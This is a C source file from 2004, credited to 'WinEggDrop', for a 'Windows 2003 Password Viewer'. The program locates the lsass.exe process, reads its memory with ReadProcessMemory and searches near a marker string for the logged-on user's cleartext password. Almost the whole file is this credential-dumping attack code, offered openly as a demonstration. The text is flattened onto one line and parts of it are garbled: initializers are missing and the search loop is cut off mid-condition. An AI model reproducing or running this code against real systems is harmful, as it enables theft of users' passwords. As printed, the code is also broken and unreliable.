//******************************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: 12/15/2004 // Purpose: To Demonstrate Searching Logon User Password On 2003 Box，The Method // Used Is Pretty Unwise，But This May Be The Only Way To Review The // Logon Users Password On Windows 2003. // Test PlatForm: Windows 2003 // Compiled On: VC++ 6.0 //******************************************************************************** #include #include #include #define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address，Which Causes The Result Unreliable char Password[MAX_PATH] = ; // Store The Found Password // Function ProtoType Declaration //------------------------------------------------------------------------------------------------------ BOOL FindPassword(DWORD PID); int Search(char *Buffer，const UINT nSize); DWORD GetLsassPID(); BOOL Is2003(); //------------------------------------------------------------------------------------------------------ // End Of Fucntion ProtoType Declaration int main() { DWORD PID = 0; printf("Windows 2003 Password Viewer V1.0 By WinEggDrop\n\n"); if (!Is2003()) // Check Out If The Box Is 2003 { printf("The Program Cant Only Run On Windows 2003 Platform\n"); return -1; } PID = GetLsassPID(); // Get The Lsass.exe PID if (PID == 0) // Fail To Get PID If Returning Zerom { return -1; } FindPassword(PID); // Find The Password From Lsass.exe Memory return 0; } // End main() //------------------------------------------------------------------------------------ // Purpose: Search The Memory & Try To Get The Password // Return Type: int // Parameters: // In: char *Buffer --> The Memory Buffer To Search // Out: const UINT nSize --> The Size Of The Memory Buffer // Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure"， // Since The Password Is Near The Above Location，But Its Not Always True That // We Will Find The Magic String，Or Even We Find It，The Password May Be Located // At Some Other Place.We Only Look For Luck //------------------------------------------------------------------------------------ int Search(char *Buffer，const UINT nSize) { UINT OffSet = 0; UINT i = 0; UINT j = 0 ; UINT Count = 0; if (Buffer == NULL) { return -1; } for (i = 0 ; i 0) { Password[Count++] = Buffer[j]; } else { break; } } return i + 7; // One Flag To Indicate We Find The Password } } } return -1; // Well，We Fail To Find The Password，And This Always Happens } // End Search //------------------------------------------------------------------------------------ // Purpose: To Get The Lsass.exe PID // Return Type: DWORD // Parameters: None //------------------------------------------------------------------------------------ DWORD GetLsassPID() { HANDLE hProcessSnap; HANDLE hProcess = NULL; PROCESSENTRY32 pe32; DWORD PID = 0; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS， 0); if( hProcessSnap == INVALID_HANDLE_VALUE ) { printf("Fail To Create Snap Shot\n"); return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if( !Process32First(hProcessSnap， &pe32)) { CloseHandle(hProcessSnap); // Must clean up the snapshot object! return 0; } do { if (strcmpi(pe32.szExeFile，"Lsass.EXE") == 0) { PID = pe32.th32ProcessID; break; } }while(Process32Next( hProcessSnap， &pe32)); CloseHandle( hProcessSnap); return PID; } // End GetLsassPID() //------------------------------------------------------------------------------------ // Purpose: To Find The Password // Return Type: BOOLEAN // Parameters: // In: DWORD PID -> The Lsass.exes PID //------------------------------------------------------------------------------------ BOOL FindPassword(DWORD PID) { HANDLE hProcess = NULL; char Buffer[5 * 1024] = ; DWORD ByteGet = 0; int Found = -1; hProcess = OpenProcess(PROCESS_VM_READ，FALSE，PID); // Open Process if (hProcess == NULL) { printf("Fail To Open Process\n"); return FALSE; } if (!ReadProcessMemory(hProcess，(PVOID)BaseAddress，Buffer，5 * 1024，&ByteGet)) // Read The Memory From Lsass.exe { printf("Fail To Read Memory\n"); CloseHandle(hProcess); return FALSE; } CloseHandle(hProcess); Found = Search(Buffer，ByteGet); // Search The Password if (Found >= 0) // We May Find The Password { if (strlen(Password) > 0) // Yes，We Find The Password Even We Dont Know If The Password Is Correct Or Not { printf("Found Password At #0x%x -> \"%s\"\n"，Found + BaseAddress，Password); } } else { printf("Fail To Find The Password\n"); } return TRUE; } // End FindPassword //------------------------------------------------------------------------------------ // Purpose: Check If The Box Is Windows 2003 // Return Type: BOOLEAN // Parameters: None //------------------------------------------------------------------------------------ BOOL Is2003() { OSVERSIONINFOEX osvi; BOOL b0sVersionInfoEx; ZeroMemory(&osvi，sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX); if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi))) { osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2); } // End Is2003() // End Of File
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